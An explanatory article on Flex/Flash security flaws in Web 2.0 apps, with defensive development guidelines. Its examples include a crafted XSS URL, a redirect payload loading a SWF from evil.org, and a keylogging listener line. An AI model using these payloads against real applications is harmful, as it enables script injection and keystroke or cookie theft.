Web 2.0 has created a platform for dynamic websites and opened up new horizon for web applications and the way we do web interaction. Flex is considered is one of the major component of today’s most dynamic web applications and needless to say that security loopholes in Flex architecture, is bound to impact the security of entire Web 2.0 structure. This article looks at the security essentials and gaps of Flex architecture.
Web 2.0 has revolutionized the way we look at web applications. Websites using Web 2.0 no longer come with the standard ‘Three column’ interface which we are so used to looking at over the years. The new websites are peppy, attractive and most importantly, extremely interactive and intuitive. Flex is one on the pillars on which the Web 20 structure stands; other notables being Ajax and Silverlight. These technologies being new come with a caution that these technologies have not been thoroughly tested to weed out security issues. The thing with security is, it is never foolproof. As new issues are discovered, the issues are fixed and thereby the overall security is strengthened. In this article we will look at some security issues related to Flex.
Cross Domain Policy
Cross Domain is a very popular and inherently important security concept when it comes to Web 2.0. Cross Domain essentially decides how pages from a different domain can access the content of our domain. However there are some concerns when it comes to the security aspects related to Cross Domain Policy.
Reflecting Policy Files: Flash is very forgiving in parsing policy files. If an HTTP request is constructed which results in the server sending back a policy file, Flash will accept it. Flash respects any file which contains cross-domain policy unless any unclosed tags or ASCII characters exist before </cross-domain-policy>. This makes it possible for a flash application to have complete cross domain access to the said domain.
Protecting Against Reflecting Policy Files
One way of protecting against this loophole is to send user-definable data back to the user
If the server allows upload and storing of image, audio or other files on a server that can be later retrieved, then it is possible for an attacker to place the Flash security policy in that file. There exists an attack in which a single pixel GIF image is created and flash security policy is added as a GIF comment. As of Flash Player 9.0 r47, this is still accepted by loadPolicy(). It is possible to place open security policy within the data of an image, audio and other data file. The only limitation being that the loadPolicy() requires each byte before the ending </cross-domain-policy> tag to be as follows:
-
Be non-zero
-
Have no unclosed XML tag
-
Be 7-bit ASCII
Cross Site Scripting
Cross Site Scripting is a popular and dangerous menace when it comes to web applications. Even though it is said that FLEX content is in the compiled form, it is possible to carry out attacks like XSS. We will talk about attacks like
XSS via HTML TextField.htmlText and TextArea.htmlText
By default TextFields only accepts plain text, setting ‘html=true’ allows developers to place html in TextFields. It is always possible to place html in TextArea. This makes it possible for the attackers to include both HTML and arbitrary ActionScript. An attacker can add:
http://example.com/VulnerableMovie.swf?userinput2=%3Ca+href%3D%22javascript%3Aalert%281%29%22%3Eclick +here+to+be+hacked%3C/a%3E
This would add
<a href=”javascript:alert(1)”>click here to be hacked </a>
If the user clicks “click here to be hacked” link, the attacker can run malicious JavaScript on the domain hosting the SWF.
URL Redirect for XSF attacks
Suppose abc.com hosted an SWF with the following code:
loadMovie(http://abc.com/movies/ + _root.movieId + “.swf?other=info”);
Suppose abc.com had an open redirector at http://abc.com/redirect that redirects to any domain. An attack could use abc.com’s redirector to mount an attack using the following string for movieId:
../redirect=http://evil.org/HackWorld.swf%3F
loadMovie() would then load
http://abc.com/movies/../redirect=http://evil.org/hackWorld.swf%3F.swf?other=info
which is same as
http://abc.com/redirect =http:// evil.org/hackWorld.swf%3F.swf?other=info
which redirects to
http://evil.org/hackWorld.swf
Thus , a vulnerable SWF would load HackWorld in the abc.com domain.
Action Message Format
Action Message Format (AMF) is a binary format used to exchange data between Adobe Flash application and remote server. AMF encodes remote procedure calls (RPC) into a binary representation which can be transferred over HTTP/HTTPS. Objects and data values are serialized into this binary format, which increases performance, allowing applications to load data up to 10 times faster than with text-based formats such as XML or SOAP. AMF can be decoded using PyAMF which is a decoder and encoder that is compatible with Flash Player. This allows anyone using PyAMF to view the actual contents of the data which is travelling between the applications.
Widget Security
Widgets are small programs sitting on the browsers rendered page and re capable of showing content such as stock prices, news, weather reports and so on. Widgets have gained popularity and acceptance as a result of which they are now an integral part of most of the Web 2.0 applications.
Common DOM sharing model: A widget acquires a small area on the webpage, this makes it important to understand how a widget shares the DOM. It is not safe for the application architecture to allow the widget to share the same DOM. If the widget has access to the DOM, it can access document.* elements from the browser. This can allow the attacker to build a widget which can steal the cookies by accessing the document.cookie of any user who subscribes this widget. Thus a better way of supporting widgets is to load the widget in an iframe giving it its own DOM. This prevents the widget from accessing the application's DOM.
Event Hijacking: If a Web 2.0 application has an insecurely deployed widget framework, it is possible for a malicious widget to access different events from the current DOM context. For instance it is possible for the widget to access keystrokes using the following event:
document.body.addEventListener("keyup",keylog,false);
The adddEventListener is configured to capture key pressing events.
DOM Element Modifications and Read Access: Widgets with DOM access can access other DOM elements. This is risky since it can change critial parameters of the form. A malicious widget can create security issues if it gains read and write access for the DOM elements.
There are some guidelines which if followed allow development of secure Flex applications:
Some MXML tags trigger operations that require security settings. In these cases, access rights must be granted through one of the permission-granting mechanisms such as the allowDomain() method or a crossdomain.xml file.
Example:
Referencing a URL that is outside the exact domain of the application that makes a request. Referencing a resource that is in a different sandbox.
2. Disabling viewSourceURL
viewSourceURL property on the <mx:Application> tag should be disabled before the application is put into production. This prevents attackers from studying the application by looking at the code.
3. Remove sensitive information from SWF files
The SWF file format being an open format it is possible to extract data and algorithms contained within a SWF file. This is similar to how HTML and JavaScript code can be easily viewed by users. However, SWF files make viewing the code more difficult. A SWF file is compiled and is not human-readable like HTML or JavaScript.
But still certain points should be considered about .swf files:
§ Sensitive information, such as user names, passwords, or SQL statements should not be included in SWF files.
§ Always remove debug code, unused code, and comments from code before compiling to minimize the amount of information which is understood about the application that is available to someone with a decompiler or a debugger version of Flash Player.
§ Client-side username and password checks should not be used for authentication.
§ If the SWF file needs access to sensitive information it is advisable to load the information into the SWF file from the server at run time. So even if a decompiler is being used, it will not reveal sensitive information. Use a secure transfer mechanism, such as SSL, when you load the data.
4. Input validation
§ Use tags like <mx:Validator> to keep the inputs free of malicious characters or code.
§ One advantage of using Flex validators is that they execute on the client, which lets you validate input data before transmitting it to the server.
§ Another approach to enforce input validation is to use strongly-typed, parameterized queries in your SQL code; therefore SQL server will reject the query if someone tries to inject malicious code.
5. Using passwords
§ Passwords are generally used to prevent unauthorized access to resources. Validity of the passwords should be tested on the server rather than the client, because the client has access to all the logic in the local SWF file.
§ To ensure that passwords are transmitted from the client to the server safely, enforce the use of SSL or some other secure transport-level protocol.
6. ActionScript
The SecurityError exception is thrown when some type of security violation takes place. Security errors include:
-
An unauthorized property access or method call was made across a security sandbox boundary.
-
An attempt was made to access a URL not permitted by the security sandbox.
-
A socket connection was attempted to an unauthorized port number, for example, a port below 1024, without a policy file present.
-
An attempt was made to access the user's camera or microphone, and the request to access the device was denied by the user.
Flash Player dispatches SecurityErrorEvent objects to report the occurrence of a security error. Security error events are the final events dispatched for any target object. This means that any other events, including generic error events, are not dispatched for a target object that experiences a security error.
If no event listeners are present for handling Security errors, the debugger version of Flash Player automatically displays an error message that contains the contents of the text property. In general, try to wrap methods that might trigger a security error in a try/catch block. This prevents users from seeing information about destinations or other properties that you might not want to be visible.
For e.g. try {
// some code that could throw an error
var loader:URLLoader = new URLLoader().load(url);
}
catch (err:Error) {
// code to react to the error
}
finally {
// Code that runs whether or not an error was thrown.This code can
// clean up after the error, or take steps to keep the application running.
}
7. Storing persistent data with Shared Object class
Flash Player supports persistent shared objects through the SharedObject class. The SharedObject class stores data on user’s computers. This data is usually local, meaning that it was obtained with the SharedObject.getLocal() method. But it is possible to view and edit Shared Objects. Thus the type of information present in them should be such that if discovered, it should not impact the application in a big way.
References
-
http://active6.com/blog/flex/flex-php-security-basics-part-one
-
http://www.flexer.info/2007/10/17/cross-domain-policy/
-
http://sujitreddyg.wordpress.com/2008/01/24/shared-objects-in-flex/
-
http://osflash.org/documentation/amf
—By: Anish Anand Patil. Anish is working as an application security specialist in InfoSys, Bangalore. His activities include penetration testing, code review and analysis. He is also currently researching on latest and emerging netwok security threats. |
